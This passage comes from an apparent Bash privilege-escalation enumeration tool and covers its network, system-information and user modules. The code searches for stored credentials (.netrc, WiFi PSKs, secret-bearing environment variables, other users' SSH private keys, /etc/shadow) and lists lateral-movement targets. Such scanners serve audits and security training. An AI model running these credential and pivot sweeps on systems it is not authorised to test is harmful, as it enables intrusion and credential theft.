461 | if [[ "$auth_perms" =~ [g|o][r|w|x] ]]; then
462 | print_critical " ${RED}→ Bad permissions on authorized_keys file: $auth_perms${NC}"
463 | fi
464 | else
465 | print_success "No SSH authorized_keys entries found"
466 | fi
467 | fi
468 |
469 | # Check for .netrc file
470 | if [ -f "$HOME/.netrc" ]; then
471 | netrc_perms=$(ls -la "$HOME/.netrc" | awk '{print $1}')
472 |
473 | print_critical "${RED}→ .netrc file found: $HOME/.netrc${NC}"
474 | print_critical " ${RED}→ This file may contain cleartext credentials for FTP/remote services${NC}"
475 |
476 | if [[ "$netrc_perms" =~ [g|o][r|w|x] ]]; then
477 | print_critical " ${RED}→ Bad permissions: $netrc_perms${NC}"
478 | fi
479 | fi
480 |
481 | # Check for WPA/WiFi credentials
482 | if [ -d "/etc/NetworkManager/system-connections" ] && [ "$IAMROOT" ]; then
483 | wifi_conns=$(find /etc/NetworkManager/system-connections -type f 2>/dev/null)
484 |
485 | if [ -n "$wifi_conns" ]; then
486 | print_warning "WiFi connection profiles found:"
487 |
488 | echo "$wifi_conns" | while read -r conn; do
489 | ssid=$(grep -i "ssid=" "$conn" 2>/dev/null | cut -d= -f2)
490 | if [ -n "$ssid" ]; then
491 | print_warning " ${YELLOW}→ $conn${NC} (SSID: $ssid)"
492 |
493 | # Look for PSK
494 | if grep -i "psk=" "$conn" 2>/dev/null; then
495 | print_critical " ${RED}→ Contains WiFi password!${NC}"
496 | fi
497 | fi
498 | done
499 | else
500 | print_success "No NetworkManager WiFi connections found"
501 | fi
502 | fi
503 | }
504 |
505 | check_potential_pivoting() {
506 | print_subtitle "Lateral Movement Potential"
507 |
508 | print_info "Checking for potential pivoting/lateral movement vectors..."
509 |
510 | # Check for hosts.equiv file
511 | if [ -f "/etc/hosts.equiv" ]; then
512 | hosts_equiv=$(cat "/etc/hosts.equiv" 2>/dev/null)
513 |
514 | if [ -n "$hosts_equiv" ]; then
515 | print_critical "${RED}hosts.equiv file found! This can allow remote logins without passwords:${NC}"
516 |
517 | echo "$hosts_equiv" | while read -r line; do
518 | print_critical " ${RED}→ $line${NC}"
519 | done
520 | fi
521 | fi
522 |
523 | # Check for .rhosts file
524 | rhosts_files=$(find / -name ".rhosts" 2>/dev/null)
525 |
526 | if [ -n "$rhosts_files" ]; then
527 | print_critical "${RED}.rhosts files found! These can allow remote logins without passwords:${NC}"
528 |
529 | echo "$rhosts_files" | while read -r file; do
530 | print_critical " ${RED}→ $file${NC}"
531 |
532 | if [ -r "$file" ]; then
533 | content=$(cat "$file" 2>/dev/null)
534 | if [ -n "$content" ]; then
535 | echo "$content" | while read -r line; do
536 | print_critical " ${RED}→ $line${NC}"
537 | done
538 | fi
539 | fi
540 | done
541 | fi
542 |
543 | # Check for obviously shared SSH keys (same key on multiple systems)
544 | if [ -d "$HOME/.ssh" ]; then
545 | # Look for comments indicating shared keys
546 | shared_comments=$(find "$HOME/.ssh" -name "id_*" -exec grep -l "shared\|deploy\|ansible\|puppet\|automation" {} \; 2>/dev/null)
547 |
548 | if [ -n "$shared_comments" ]; then
549 | print_critical "${RED}Potentially shared SSH keys found:${NC}"
550 |
551 | echo "$shared_comments" | while read -r key; do
552 | print_critical " ${RED}→ $key${NC}"
553 | grep -i "shared\|deploy\|ansible\|puppet\|automation" "$key" | while read -r line; do
554 | print_critical " ${RED}→ $line${NC}"
555 | done
556 | done
557 | fi
558 | fi
559 |
560 | # Check for pre-configured SSH hosts
561 | if [ -f "$HOME/.ssh/config" ]; then
562 | ssh_config=$(cat "$HOME/.ssh/config" 2>/dev/null)
563 |
564 | if [ -n "$ssh_config" ]; then
565 | print_warning "SSH client configuration found with potential pivot targets:"
566 |
567 | grep -i "^host " "$HOME/.ssh/config" | while read -r line; do
568 | print_warning " ${YELLOW}→ $line${NC}"
569 | done
570 | fi
571 | fi
572 |
573 | # Check for stored credentials in .ssh/known_hosts
574 | if [ -f "$HOME/.ssh/known_hosts" ]; then
575 | known_hosts_count=$(wc -l < "$HOME/.ssh/known_hosts")
576 |
577 | if [ "$known_hosts_count" -gt 0 ]; then
578 | print_warning "SSH known_hosts file contains $known_hosts_count entries"
579 | print_warning " ${YELLOW}→ These are potential lateral movement targets${NC}"
580 |
581 | # Check for non-hashed entries
582 | if grep -v "^|" "$HOME/.ssh/known_hosts" > /dev/null 2>&1; then
583 | print_critical " ${RED}→ known_hosts contains non-hashed entries that reveal hostnames/IPs${NC}"
584 |
585 | if [ "$THOROUGH" ]; then
586 | print_warning " ${YELLOW}→ Sample of reachable hosts:${NC}"
587 | grep -v "^|" "$HOME/.ssh/known_hosts" | cut -d" " -f1 | cut -d, -f1 | head -5 | while read -r host; do
588 | print_warning " ${YELLOW}→ $host${NC}"
589 | done
590 | fi
591 | fi
592 | else
593 | print_success "No SSH known_hosts entries found"
594 | fi
595 | fi
596 | }
597 |
598 | # Main function to run all network checks
599 | network_checks() {
600 | print_title "Network Information and Vulnerabilities"
601 |
602 | # Run all network security checks
603 | check_network_interfaces
604 | check_listening_ports
605 | check_iptables_rules
606 | check_network_shares
607 | check_network_credentials
608 | check_potential_pivoting
609 |
610 | # Wait for user if wait mode is enabled
611 | wait_for_user
612 | }
--------------------------------------------------------------------------------
/modules/system_info/general.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: System Information
4 | # Description: Gather general system information
5 | # Author: Jonas Resch
6 |
7 | check_os_version() {
8 | print_subtitle "Operating System Information"
9 |
10 | # OS Details
11 | if [ -f /etc/os-release ]; then
12 | os_name=$(grep "^NAME=" /etc/os-release | cut -d= -f2 | tr -d '"')
13 | os_version=$(grep "^VERSION=" /etc/os-release 2>/dev/null | cut -d= -f2 | tr -d '"')
14 | os_id=$(grep "^ID=" /etc/os-release | cut -d= -f2 | tr -d '"')
15 | print_success "OS: ${os_name} ${os_version} (${os_id})"
16 | else
17 | os_info=$(uname -a)
18 | print_success "OS: ${os_info}"
19 | fi
20 |
21 | # Kernel version
22 | kernel_version=$(uname -r)
23 | print_success "Kernel version: ${kernel_version}"
24 |
25 | # Check for architecture
26 | arch=$(uname -m)
27 | print_success "Architecture: ${arch}"
28 |
29 | # Check if it's a virtual machine
30 | if [ -f /sys/class/dmi/id/product_name ] || [ -d /proc/xen ] || grep -q "^flags.*hypervisor" /proc/cpuinfo 2>/dev/null; then
31 | vm_type="Unknown"
32 |
33 | if grep -q "VMware" /sys/class/dmi/id/product_name 2>/dev/null; then
34 | vm_type="VMware"
35 | elif grep -q "VirtualBox" /sys/class/dmi/id/product_name 2>/dev/null; then
36 | vm_type="VirtualBox"
37 | elif [ -d /proc/xen ]; then
38 | vm_type="Xen"
39 | elif grep -q "QEMU" /sys/class/dmi/id/product_name 2>/dev/null; then
40 | vm_type="QEMU/KVM"
41 | elif grep -q "Microsoft" /sys/class/dmi/id/product_name 2>/dev/null; then
42 | vm_type="Hyper-V"
43 | elif dmesg | grep -q "Parallels" 2>/dev/null; then
44 | vm_type="Parallels"
45 | fi
46 |
47 | print_warning "Running in a virtual environment: ${vm_type}"
48 | else
49 | print_success "Running on physical hardware"
50 | fi
51 |
52 | # WSL detection
53 | if grep -q Microsoft /proc/version 2>/dev/null; then
54 | print_warning "Running in Windows Subsystem for Linux (WSL)"
55 | fi
56 |
57 | # Check for container
58 | if [ -f /.dockerenv ] || grep -q "docker\|lxc" /proc/1/cgroup 2>/dev/null; then
59 | print_warning "Running inside a container"
60 | fi
61 | }
62 |
63 | check_hardware_info() {
64 | print_subtitle "Hardware Information"
65 |
66 | # CPU info
67 | cpu_model=$(grep "model name" /proc/cpuinfo 2>/dev/null | head -n1 | cut -d: -f2 | xargs)
68 | cpu_cores=$(grep -c "processor" /proc/cpuinfo 2>/dev/null)
69 | if [ -n "$cpu_model" ]; then
70 | print_success "CPU: ${cpu_model} (${cpu_cores} cores)"
71 | else
72 | print_success "CPU Cores: ${cpu_cores}"
73 | fi
74 |
75 | # Memory info
76 | if [ -f /proc/meminfo ]; then
77 | total_mem=$(grep "MemTotal" /proc/meminfo | awk '{print $2}')
78 | total_mem_mb=$(($total_mem / 1024))
79 | free_mem=$(grep "MemFree" /proc/meminfo | awk '{print $2}')
80 | free_mem_mb=$(($free_mem / 1024))
81 | used_mem_mb=$(($total_mem_mb - $free_mem_mb))
82 | used_percent=$((($used_mem_mb * 100) / $total_mem_mb))
83 |
84 | print_success "Memory: ${used_mem_mb}MB / ${total_mem_mb}MB (${used_percent}% used)"
85 | fi
86 |
87 | # Swap info
88 | if [ -f /proc/meminfo ]; then
89 | total_swap=$(grep "SwapTotal" /proc/meminfo | awk '{print $2}')
90 | if [ "$total_swap" -gt 0 ]; then
91 | total_swap_mb=$(($total_swap / 1024))
92 | free_swap=$(grep "SwapFree" /proc/meminfo | awk '{print $2}')
93 | free_swap_mb=$(($free_swap / 1024))
94 | used_swap_mb=$(($total_swap_mb - $free_swap_mb))
95 | used_swap_percent=$((($used_swap_mb * 100) / $total_swap_mb))
96 |
97 | print_success "Swap: ${used_swap_mb}MB / ${total_swap_mb}MB (${used_swap_percent}% used)"
98 | else
99 | print_warning "No swap configured"
100 | fi
101 | fi
102 | }
103 |
104 | check_filesystem_info() {
105 | print_subtitle "File System Information"
106 |
107 | # Mount points
108 | print_info "Mount Points:"
109 | mount_output=$(mount -t ext2,ext3,ext4,xfs,btrfs,vfat,ntfs,fuseblk 2>/dev/null | grep -v "snap" | sort)
110 | if [ -n "$mount_output" ]; then
111 | echo "$mount_output" | while read -r line; do
112 | device=$(echo "$line" | awk '{print $1}')
113 | mountpoint=$(echo "$line" | awk '{print $3}')
114 | fs_type=$(echo "$line" | awk '{print $5}')
115 | options=$(echo "$line" | grep -oP 'type \K\S+' | tr ',' ' ')
116 |
117 | # Check if the filesystem is mounted with noexec, nosuid, or nodev
118 | if echo "$options" | grep -q "noexec"; then
119 | print_success " ${CYAN}${mountpoint}${NC} [${fs_type}] on ${device} (${YELLOW}noexec${NC})"
120 | elif echo "$options" | grep -q "nosuid"; then
121 | print_success " ${CYAN}${mountpoint}${NC} [${fs_type}] on ${device} (${YELLOW}nosuid${NC})"
122 | else
123 | print_success " ${CYAN}${mountpoint}${NC} [${fs_type}] on ${device}"
124 | fi
125 | done
126 | else
127 | print_not_found "No common filesystems mounted"
128 | fi
129 |
130 | # Disk usage
131 | print_info "Disk Usage:"
132 | disk_info=$(df -h -t ext2 -t ext3 -t ext4 -t xfs -t vfat -t ntfs -t btrfs 2>/dev/null | grep -v "snap" | grep -v "Filesystem" | sort)
133 |
134 | if [ -n "$disk_info" ]; then
135 | echo "$disk_info" | while read -r line; do
136 | filesystem=$(echo "$line" | awk '{print $1}')
137 | size=$(echo "$line" | awk '{print $2}')
138 | used=$(echo "$line" | awk '{print $3}')
139 | avail=$(echo "$line" | awk '{print $4}')
140 | use_percent=$(echo "$line" | awk '{print $5}')
141 | mountpoint=$(echo "$line" | awk '{print $6}')
142 |
143 | # Highlight high disk usage
144 | if [[ "${use_percent}" =~ [8-9][0-9]% ]] || [[ "${use_percent}" =~ 100% ]]; then
145 | print_warning " ${CYAN}${mountpoint}${NC}: ${RED}${use_percent}${NC} used (${used}/${size}, ${avail} free)"
146 | else
147 | print_success " ${CYAN}${mountpoint}${NC}: ${use_percent} used (${used}/${size}, ${avail} free)"
148 | fi
149 | done
150 | else
151 | print_not_found "No disk usage information available"
152 | fi
153 | }
154 |
155 | check_kernel_modules() {
156 | print_subtitle "Kernel Modules"
157 |
158 | # List kernel modules that could potentially be exploitable
159 | interesting_modules=("bluetooth" "usb_storage" "thunderbolt" "firewire" "bcm" "rtl" "nvidia")
160 |
161 | for module in "${interesting_modules[@]}"; do
162 | module_info=$(lsmod 2>/dev/null | grep "$module")
163 | if [ -n "$module_info" ]; then
164 | print_warning "Potentially interesting module loaded: $module_info"
165 | fi
166 | done
167 |
168 | # Check for unsigned kernel modules if secure boot is enabled
169 | if [ -d /sys/firmware/efi ]; then
170 | secure_boot=$(mokutil --sb-state 2>/dev/null | grep "SecureBoot" | awk '{print $2}')
171 | if [ "$secure_boot" = "enabled" ]; then
172 | unsigned_modules=$(dmesg 2>/dev/null | grep "signature" | grep -i "required" | grep -i "module" | grep -v "OK")
173 | if [ -n "$unsigned_modules" ]; then
174 | print_warning "Unsigned kernel modules with Secure Boot enabled:"
175 | echo "$unsigned_modules"
176 | fi
177 | fi
178 | fi
179 |
180 | # List loaded third-party modules
181 | third_party_modules=$(lsmod 2>/dev/null | grep -v "kernel" | grep -v "live" | head -n 10)
182 | if [ -n "$third_party_modules" ]; then
183 | print_info "Top 10 third-party kernel modules:"
184 | echo "$third_party_modules" | while read -r line; do
185 | print_success " $line"
186 | done
187 | fi
188 | }
189 |
190 | check_system_startup() {
191 | print_subtitle "System Startup Information"
192 |
193 | # Uptime
194 | uptime_output=$(uptime)
195 | print_success "Uptime: $uptime_output"
196 |
197 | # Init system type
198 | if [ -f /proc/1/comm ]; then
199 | init_system=$(cat /proc/1/comm)
200 | print_success "Init system: $init_system"
201 | else
202 | # Fallback method
203 | if command_exists systemctl; then
204 | print_success "Init system: systemd"
205 | elif command_exists initctl; then
206 | print_success "Init system: Upstart"
207 | elif [ -f /etc/init.d/rc ]; then
208 | print_success "Init system: SysVinit"
209 | else
210 | print_warning "Init system: Unknown"
211 | fi
212 | fi
213 |
214 | # Last boot time
215 | last_boot=$(who -b 2>/dev/null | awk '{print $3, $4}')
216 | if [ -n "$last_boot" ]; then
217 | print_success "Last boot: $last_boot"
218 | fi
219 |
220 | # Boot parameters that might be exploitable
221 | if [ -f /proc/cmdline ]; then
222 | cmdline=$(cat /proc/cmdline)
223 | print_info "Boot parameters:"
224 | print_success " $cmdline"
225 |
226 | # Check for potentially insecure boot parameters
227 | if echo "$cmdline" | grep -q "init="; then
228 | print_warning "Custom init process specified in boot parameters"
229 | fi
230 | if echo "$cmdline" | grep -q "nokaslr"; then
231 | print_warning "KASLR is disabled (nokaslr)"
232 | fi
233 | if echo "$cmdline" | grep -q "nosuid"; then
234 | print_warning "SUID binaries disabled globally (nosuid)"
235 | fi
236 | if echo "$cmdline" | grep -q "nosmep"; then
237 | print_warning "SMEP is disabled (nosmep)"
238 | fi
239 | if echo "$cmdline" | grep -q "nopti"; then
240 | print_warning "Kernel Page Table Isolation is disabled (nopti)"
241 | fi
242 | if echo "$cmdline" | grep -q "quiet"; then
243 | print_warning "Kernel is booted in quiet mode (quiet)"
244 | fi
245 | fi
246 | }
247 |
248 | check_system_security() {
249 | print_subtitle "System Security Features"
250 |
251 | # SELinux status
252 | if command_exists sestatus; then
253 | selinux_status=$(sestatus 2>/dev/null | grep "SELinux status" | awk '{print $3}')
254 | if [ "$selinux_status" = "enabled" ]; then
255 | selinux_mode=$(sestatus 2>/dev/null | grep "Current mode" | awk '{print $3}')
256 | print_success "SELinux: ${selinux_status} (${selinux_mode})"
257 | else
258 | print_warning "SELinux: ${selinux_status}"
259 | fi
260 | elif [ -f /etc/selinux/config ]; then
261 | selinux_config=$(grep "^SELINUX=" /etc/selinux/config | cut -d= -f2)
262 | print_warning "SELinux: ${selinux_config} (from config file)"
263 | else
264 | print_warning "SELinux: Not installed"
265 | fi
266 |
267 | # AppArmor status
268 | if command_exists aa-status; then
269 | apparmor_status=$(aa-status 2>&1 | grep -i "apparmor")
270 | if echo "$apparmor_status" | grep -q -i "enabled"; then
271 | print_success "AppArmor: Enabled"
272 | else
273 | print_warning "AppArmor: Disabled or not properly configured"
274 | fi
275 | elif [ -d /etc/apparmor.d ]; then
276 | print_warning "AppArmor: Config files exist but status cannot be determined"
277 | else
278 | print_warning "AppArmor: Not installed"
279 | fi
280 |
281 | # ASLR (Address Space Layout Randomization)
282 | if [ -f /proc/sys/kernel/randomize_va_space ]; then
283 | aslr_status=$(cat /proc/sys/kernel/randomize_va_space)
284 | case "$aslr_status" in
285 | 0) print_critical "ASLR: Disabled (0)" ;;
286 | 1) print_warning "ASLR: Partial - shared libraries randomization only (1)" ;;
287 | 2) print_success "ASLR: Full randomization (2)" ;;
288 | *) print_warning "ASLR: Unknown status (${aslr_status})" ;;
289 | esac
290 | else
291 | print_warning "ASLR: Status cannot be determined"
292 | fi
293 |
294 | # Check if ptrace protection is enabled
295 | if [ -f /proc/sys/kernel/yama/ptrace_scope ]; then
296 | ptrace_scope=$(cat /proc/sys/kernel/yama/ptrace_scope)
297 | case "$ptrace_scope" in
298 | 0) print_critical "Ptrace protection: Disabled (0)" ;;
299 | 1) print_success "Ptrace protection: Restricted (1)" ;;
300 | 2) print_success "Ptrace protection: Admin-only (2)" ;;
301 | 3) print_success "Ptrace protection: No ptrace (3)" ;;
302 | *) print_warning "Ptrace protection: Unknown status (${ptrace_scope})" ;;
303 | esac
304 | else
305 | print_warning "Ptrace protection: Not available"
306 | fi
307 |
308 | # Check if Exec Shield is enabled
309 | if [ -f /proc/sys/kernel/exec-shield ]; then
310 | exec_shield=$(cat /proc/sys/kernel/exec-shield)
311 | if [ "$exec_shield" -eq 1 ]; then
312 | print_success "Exec Shield: Enabled"
313 | else
314 | print_warning "Exec Shield: Disabled"
315 | fi
316 | fi
317 |
318 | # Check if the system has NX/DEP protection
319 | nx_dep=$(grep -i "nx\|pae" /proc/cpuinfo 2>/dev/null | sort -u)
320 | if [ -n "$nx_dep" ]; then
321 | print_success "NX/DEP: CPU supports NX/DEP protection"
322 | else
323 | print_warning "NX/DEP: CPU may not support NX/DEP protection"
324 | fi
325 | }
326 |
327 | # Main function to run all system info checks
328 | system_info_checks() {
329 | print_title "System Information"
330 |
331 | # Run all system information checks
332 | check_os_version
333 | check_hardware_info
334 | check_filesystem_info
335 | check_kernel_modules
336 | check_system_startup
337 | check_system_security
338 |
339 | # Wait for user if wait mode is enabled
340 | wait_for_user
341 | }
--------------------------------------------------------------------------------
/modules/user_info/users.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: User Information
4 | # Description: Check users, their permissions, and related security
5 | # Author: Jonas Resch
6 |
7 | check_current_user() {
8 | print_subtitle "Current User Information"
9 |
10 | # Basic info about current user
11 | current_user=$(whoami 2>/dev/null)
12 | current_uid=$(id -u 2>/dev/null)
13 | current_gid=$(id -g 2>/dev/null)
14 |
15 | print_success "Current user: ${current_user} (UID: ${current_uid}, GID: ${current_gid})"
16 |
17 | # Check if we're root
18 | if [ "$IAMROOT" ]; then
19 | print_warning "You are running as root! No privilege escalation needed."
20 | fi
21 |
22 | # Groups for current user
23 | user_groups=$(id -G 2>/dev/null)
24 | user_groups_names=$(id -Gn 2>/dev/null)
25 |
26 | if [ -n "$user_groups_names" ]; then
27 | print_success "Groups: ${user_groups_names} (IDs: ${user_groups})"
28 |
29 | # Check if user is in interesting groups
30 | interesting_groups=("sudo" "admin" "wheel" "video" "docker" "lxd" "adm" "shadow" "disk" "root")
31 |
32 | for group in "${interesting_groups[@]}"; do
33 | if id -Gn 2>/dev/null | grep -qw "$group"; then
34 | print_critical "User is a member of the high-privilege '${group}' group!"
35 | fi
36 | done
37 | fi
38 |
39 | # Environment variables
40 | print_info "Environment Variables:"
41 | env_vars=$(env 2>/dev/null | grep -v "LS_COLORS" | sort)
42 |
43 | if [ -n "$env_vars" ]; then
44 | # Look for potentially interesting vars (password, token, key, etc.)
45 | sensitive_env=$(echo "$env_vars" | grep -i "key\|token\|pass\|secret\|cred\|auth" 2>/dev/null)
46 |
47 | if [ -n "$sensitive_env" ]; then
48 | print_warning "Potentially sensitive environment variables:"
49 | echo "$sensitive_env" | while read -r line; do
50 | print_warning " $line"
51 | done
52 | fi
53 |
54 | # Path variable (could be used for hijacking)
55 | path_var=$(echo "$env_vars" | grep "^PATH=" 2>/dev/null)
56 | if [ -n "$path_var" ]; then
57 | print_success "Path: $path_var"
58 |
59 | # Look for writable directories in PATH
60 | path_dirs=$(echo "$path_var" | sed 's/PATH=//g' | tr ':' '\n')
61 |
62 | echo "$path_dirs" | while read -r directory; do
63 | if [ -n "$directory" ] && [ -w "$directory" ]; then
64 | print_critical "Writable directory in PATH: $directory"
65 | elif [ -n "$directory" ] && [ ! -d "$directory" ]; then
66 | print_warning "Non-existent directory in PATH: $directory"
67 | fi
68 | done
69 | fi
70 | else
71 | print_not_found "No environment variables found"
72 | fi
73 |
74 | # Check sudo permissions
75 | print_info "Sudo access:"
76 |
77 | # Check if we have a password
78 | if [ -n "$PASSWORD" ]; then
79 | sudo_output=$(echo "$PASSWORD" | timeout 1 sudo -S -l 2>/dev/null)
80 | sudo_exit_code=$?
81 |
82 | if [ $sudo_exit_code -eq 0 ]; then
83 | # Remove password prompt from output
84 | sudo_output=$(echo "$sudo_output" | grep -v "password for")
85 | print_critical "User has sudo privileges! Sudo permissions:"
86 | echo "$sudo_output" | sed 's/^/ /'
87 | elif [ $sudo_exit_code -eq 1 ]; then
88 | print_warning "Incorrect sudo password provided"
89 | else
90 | print_success "User does not have sudo access (or requires a different password)"
91 | fi
92 | else
93 | # Try sudo without password
94 | sudo_nopass=$(sudo -l -n 2>/dev/null)
95 | sudo_nopass_exit=$?
96 |
97 | if [ $sudo_nopass_exit -eq 0 ]; then
98 | print_critical "User has sudo privileges without password! Sudo permissions:"
99 | echo "$sudo_nopass" | sed 's/^/ /'
100 | else
101 | print_success "User does not have passwordless sudo access"
102 | fi
103 | fi
104 | }
105 |
106 | check_all_users() {
107 | print_subtitle "All Users Information"
108 |
109 | # Get all users
110 | print_info "Users with console:"
111 | users_consoles=$(cat /etc/passwd 2>/dev/null | grep -v "^#" | grep -v "nologin\|false" | sort)
112 |
113 | if [ -n "$users_consoles" ]; then
114 | echo "$users_consoles" | while read -r user_line; do
115 | user_name=$(echo "$user_line" | cut -d: -f1)
116 | user_uid=$(echo "$user_line" | cut -d: -f3)
117 | user_gid=$(echo "$user_line" | cut -d: -f4)
118 | user_info=$(echo "$user_line" | cut -d: -f5)
119 | user_home=$(echo "$user_line" | cut -d: -f6)
120 | user_shell=$(echo "$user_line" | cut -d: -f7)
121 |
122 | # Highlight root accounts and service accounts
123 | if [ "$user_uid" -eq 0 ]; then
124 | print_critical " ${RED}${user_name}${NC} [UID: ${user_uid}] [GID: ${user_gid}] [Home: ${user_home}] [Shell: ${user_shell}]"
125 | elif [ "$user_uid" -lt 1000 ] && [ "$user_uid" -gt 0 ]; then
126 | print_success " ${YELLOW}${user_name}${NC} [UID: ${user_uid}] [GID: ${user_gid}] [Home: ${user_home}] [Shell: ${user_shell}]"
127 | else
128 | print_success " ${GREEN}${user_name}${NC} [UID: ${user_uid}] [GID: ${user_gid}] [Home: ${user_home}] [Shell: ${user_shell}]"
129 | fi
130 | done
131 | else
132 | print_not_found "No users with console found"
133 | fi
134 |
135 | # Users currently logged in
136 | print_info "Currently logged-in users:"
137 | current_logins=$(who 2>/dev/null)
138 |
139 | if [ -n "$current_logins" ]; then
140 | echo "$current_logins" | while read -r line; do
141 | print_success " $line"
142 | done
143 | else
144 | print_not_found "No currently logged-in users found"
145 | fi
146 |
147 | # Last logins
148 | print_info "Last logins:"
149 | last_logins=$(last -a 2>/dev/null | head -n 10)
150 |
151 | if [ -n "$last_logins" ]; then
152 | echo "$last_logins" | while read -r line; do
153 | print_success " $line"
154 | done
155 | else
156 | print_not_found "No login history found"
157 | fi
158 | }
159 |
160 | check_user_directories() {
161 | print_subtitle "User Directories and Permissions"
162 |
163 | # Check home directories
164 | print_info "Readable home directories:"
165 |
166 | for home_dir in /home/*; do
167 | if [ -d "$home_dir" ]; then
168 | user=$(basename "$home_dir")
169 |
170 | if [ -r "$home_dir" ]; then
171 | if [ -w "$home_dir" ]; then
172 | print_critical " ${RED}${user}${NC} [${home_dir}] - Directory is readable and writable!"
173 | else
174 | print_warning " ${YELLOW}${user}${NC} [${home_dir}] - Directory is readable"
175 | fi
176 |
177 | # Check for interesting files
178 | if [ "$THOROUGH" ]; then
179 | print_info " Interesting files in ${user}'s home directory:"
180 |
181 | # SSH keys
182 | ssh_dir="$home_dir/.ssh"
183 | if [ -r "$ssh_dir" ]; then
184 | if [ -f "$ssh_dir/id_rsa" ]; then
185 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_rsa"
186 | fi
187 | if [ -f "$ssh_dir/id_dsa" ]; then
188 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_dsa"
189 | fi
190 | if [ -f "$ssh_dir/id_ecdsa" ]; then
191 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_ecdsa"
192 | fi
193 | if [ -f "$ssh_dir/id_ed25519" ]; then
194 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_ed25519"
195 | fi
196 | if [ -f "$ssh_dir/authorized_keys" ]; then
197 | print_warning " ${YELLOW}Found SSH authorized_keys:${NC} $ssh_dir/authorized_keys"
198 | fi
199 | fi
200 |
201 | # History files
202 | for history_file in ".bash_history" ".zsh_history" ".mysql_history" ".python_history" ".psql_history" ".viminfo"; do
203 | if [ -r "$home_dir/$history_file" ]; then
204 | print_warning " ${YELLOW}Found history file:${NC} $home_dir/$history_file"
205 | fi
206 | done
207 |
208 | # Config files
209 | for config_file in ".bashrc" ".bash_profile" ".profile" ".zshrc" ".zhsenv" ".vimrc" ".gitconfig"; do
210 | if [ -r "$home_dir/$config_file" ]; then
211 | print_warning " ${BLUE}Found config file:${NC} $home_dir/$config_file"
212 | fi
213 | done
214 | fi
215 | fi
216 | fi
217 | done
218 |
219 | # Check mail directories
220 | if [ -d "/var/mail" ]; then
221 | print_info "Readable mail directories:"
222 |
223 | if [ -r "/var/mail" ]; then
224 | if [ -w "/var/mail" ]; then
225 | print_critical " /var/mail directory is readable and writable!"
226 | else
227 | print_warning " /var/mail directory is readable"
228 | fi
229 |
230 | for mail_file in /var/mail/*; do
231 | if [ -f "$mail_file" ]; then
232 | user=$(basename "$mail_file")
233 |
234 | if [ -r "$mail_file" ]; then
235 | if [ -w "$mail_file" ]; then
236 | print_critical " ${RED}${user}${NC} mail file is readable and writable!"
237 | else
238 | print_warning " ${YELLOW}${user}${NC} mail file is readable"
239 | fi
240 | fi
241 | fi
242 | done
243 | fi
244 | fi
245 | }
246 |
247 | check_password_policy() {
248 | print_subtitle "Password Policy"
249 |
250 | # Check for password aging
251 | print_info "Password aging policy:"
252 |
253 | if [ -f /etc/login.defs ]; then
254 | pass_max_days=$(grep "^PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}')
255 | pass_min_days=$(grep "^PASS_MIN_DAYS" /etc/login.defs | awk '{print $2}')
256 | pass_warn_age=$(grep "^PASS_WARN_AGE" /etc/login.defs | awk '{print $2}')
257 |
258 | if [ -n "$pass_max_days" ]; then
259 | if [ "$pass_max_days" -gt 90 ]; then
260 | print_warning " Maximum password age: ${YELLOW}${pass_max_days}${NC} days (should be 90 or less)"
261 | else
262 | print_success " Maximum password age: ${pass_max_days} days"
263 | fi
264 | fi
265 |
266 | if [ -n "$pass_min_days" ]; then
267 | if [ "$pass_min_days" -eq 0 ]; then
268 | print_warning " Minimum password age: ${YELLOW}${pass_min_days}${NC} days (should be greater than 0)"
269 | else
270 | print_success " Minimum password age: ${pass_min_days} days"
271 | fi
272 | fi
273 |
274 | if [ -n "$pass_warn_age" ]; then
275 | if [ "$pass_warn_age" -lt 7 ]; then
276 | print_warning " Password warning age: ${YELLOW}${pass_warn_age}${NC} days (should be 7 or more)"
277 | else
278 | print_success " Password warning age: ${pass_warn_age} days"
279 | fi
280 | fi
281 | else
282 | print_not_found "Password policy file not found"
283 | fi
284 |
285 | # Check for PAM password complexity
286 | print_info "Password complexity requirements:"
287 |
288 | if [ -f /etc/pam.d/common-password ]; then
289 | password_pam=$(grep -v '^#' /etc/pam.d/common-password)
290 |
291 | if echo "$password_pam" | grep -q "pam_pwquality.so\|pam_cracklib.so"; then
292 | print_success " Password complexity is enforced via PAM"
293 |
294 | # Check minimum length
295 | min_length=$(echo "$password_pam" | grep -o "minlen=[0-9]*" | cut -d= -f2)
296 | if [ -n "$min_length" ]; then
297 | if [ "$min_length" -lt 8 ]; then
298 | print_warning " Minimum password length: ${YELLOW}${min_length}${NC} (should be 8 or more)"
299 | else
300 | print_success " Minimum password length: ${min_length}"
301 | fi
302 | fi
303 |
304 | # Check if dictionary words are rejected
305 | if echo "$password_pam" | grep -q "reject_username\|dictcheck"; then
306 | print_success " Dictionary words and usernames are rejected"
307 | else
308 | print_warning " No explicit check for dictionary words"
309 | fi
310 | else
311 | print_warning " No password complexity requirements found"
312 | fi
313 | else
314 | print_not_found "PAM password configuration not found"
315 | fi
316 |
317 | # Check for accounts with empty passwords
318 | print_info "Accounts with empty passwords:"
319 |
320 | if [ -f /etc/shadow ]; then
321 | empty_passwords=$(grep -v ':\*:\|:!:' /etc/shadow | grep '::' 2>/dev/null)
322 |
323 | if [ -n "$empty_passwords" ]; then
324 | print_critical " Accounts with empty passwords found:"
325 | echo "$empty_passwords" | while read -r line; do
326 | user=$(echo "$line" | cut -d: -f1)
327 | print_critical " ${RED}${user}${NC} has no password set!"
328 | done
329 | else
330 | print_success " No accounts with empty passwords"
331 | fi
332 | else
333 | print_warning " Cannot read shadow file to check for empty passwords"
334 | fi
335 | }
336 |
337 | check_sudo_permissions() {
338 | print_subtitle "Sudo Configuration"
339 |
340 | # Check if we have a custom sudoers file
341 | print_info "Custom sudoers files:"
342 |
343 | if [ -d /etc/sudoers.d ]; then
344 | custom_sudoers=$(ls -la /etc/sudoers.d/ 2>/dev/null)
345 |
346 | if [ -n "$custom_sudoers" ]; then
347 | echo "$custom_sudoers" | while read -r line; do
348 | print_success " $line"
349 | done
350 |
351 | # Check for NOPASSWD and interesting rules
352 | nopasswd_rules=$(grep -r "NOPASSWD" /etc/sudoers.d/ 2>/dev/null)
353 |
354 | if [ -n "$nopasswd_rules" ]; then
